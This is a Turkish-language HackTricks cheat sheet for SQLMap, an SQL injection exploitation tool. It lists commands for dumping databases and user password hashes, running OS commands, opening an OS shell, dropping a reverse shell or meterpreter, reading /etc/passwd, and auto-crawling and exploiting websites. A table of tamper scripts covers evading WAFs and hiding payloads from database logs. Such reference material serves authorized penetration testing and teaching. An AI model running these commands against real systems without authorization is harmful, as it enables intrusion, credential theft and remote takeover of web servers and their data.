SQLMap - Cheatsheet
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
SQLmap için Temel Argümanlar
Genel
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Bilgi Alımı
Dahili
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB verileri
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
SQLMapping kullanarak, SQLMap için hem temel hem de ileri düzey komutlar üreten ve kapsamlı bir genel bakış sağlayan pratik bir araçtır. Araçla ilgili her yönü açıklayan ToolTip'ler içerir, her seçeneği detaylandırarak onu verimli ve etkili bir şekilde nasıl kullanacağınızı anlamanızı ve geliştirmenizi sağlar.
Enjeksiyon yeri
Burp/ZAP yakalamasından
İsteği yakalayın ve bir req.txt dosyası oluşturun.
sqlmap -r req.txt --current-user
GET İsteği Enjeksiyonu
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST İsteği Enjeksiyonu
sqlmap -u "http://example.com" --data "username=*&password=*"
Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Enjeksiyon başarılı olduğunda dizeyi belirtin
--string="string_showed_when_TRUE"
Tespit Tekniği Ekle
Eğer bir SQLi bulduysanız ama sqlmap bunu tespit etmediyse, --prefix
veya --suffix
gibi argümanlarla tespit tekniğini zorlayabilirsiniz, ya da daha karmaşık bir durumda, bunu sqlmap tarafından kullanılan payload'lara ekleyebilirsiniz, örneğin /usr/share/sqlmap/data/xml/payloads/time_blind.xml
dosyasında zaman körlüğü tabanlı için.
Eval
Sqlmap, her payload'u göndermeden önce bazı python oneliner'ları ile işlemek için -e
veya --eval
kullanımına izin verir. Bu, payload'u göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask cookie session gönderilmeden önce bilinen gizli anahtar ile flask tarafından imzalanmıştır:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Dosya Oku
--file-read=/etc/passwd
SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
İkinci Derece Enjeksiyon
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Bu yazıyı okuyun sqlmap ile basit ve karmaşık ikinci derece enjeksiyonları nasıl gerçekleştireceğiniz hakkında.
Enjeksiyonu Özelleştirme
Bir ek ayarlayın
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Önek
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Boolean enjeksiyonu bulmaya yardım
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Unutmayın ki kendi tamper'ınızı python ile oluşturabilirsiniz ve bu çok basit. Bir tamper örneğini İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Açıklama |
---|---|
apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında karakter = ile LIKE operatörünü değiştirir |
chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemden geçirmez) |
commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
charencode.py | Verilen payload'daki tüm karakterleri url-kodlar (zaten kodlanmış olanları işlemden geçirmez) |
charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemden geçirmez). "%u0022" |
charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemden geçirmez). "\u0022" |
equaltolike.py | Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
escapequotes.py | Ters eğik çizgi ile alıntıları (' ve ") kaçar |
greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örneğin, .replace("SELECT", "")) filtreler |
percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemden geçirmez) |
randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
securesphere.py | Özel olarak hazırlanmış bir dize ekler |
sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesi için |
space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
space2dash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
space2morehash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
space2mssqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
space2mysqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
space2mysqldash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler |
space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
space2randomblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve |
unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
unmagicquotes.py | Alıntı karakterini (') çok baytlı kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ekler (çalışması için) |
uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.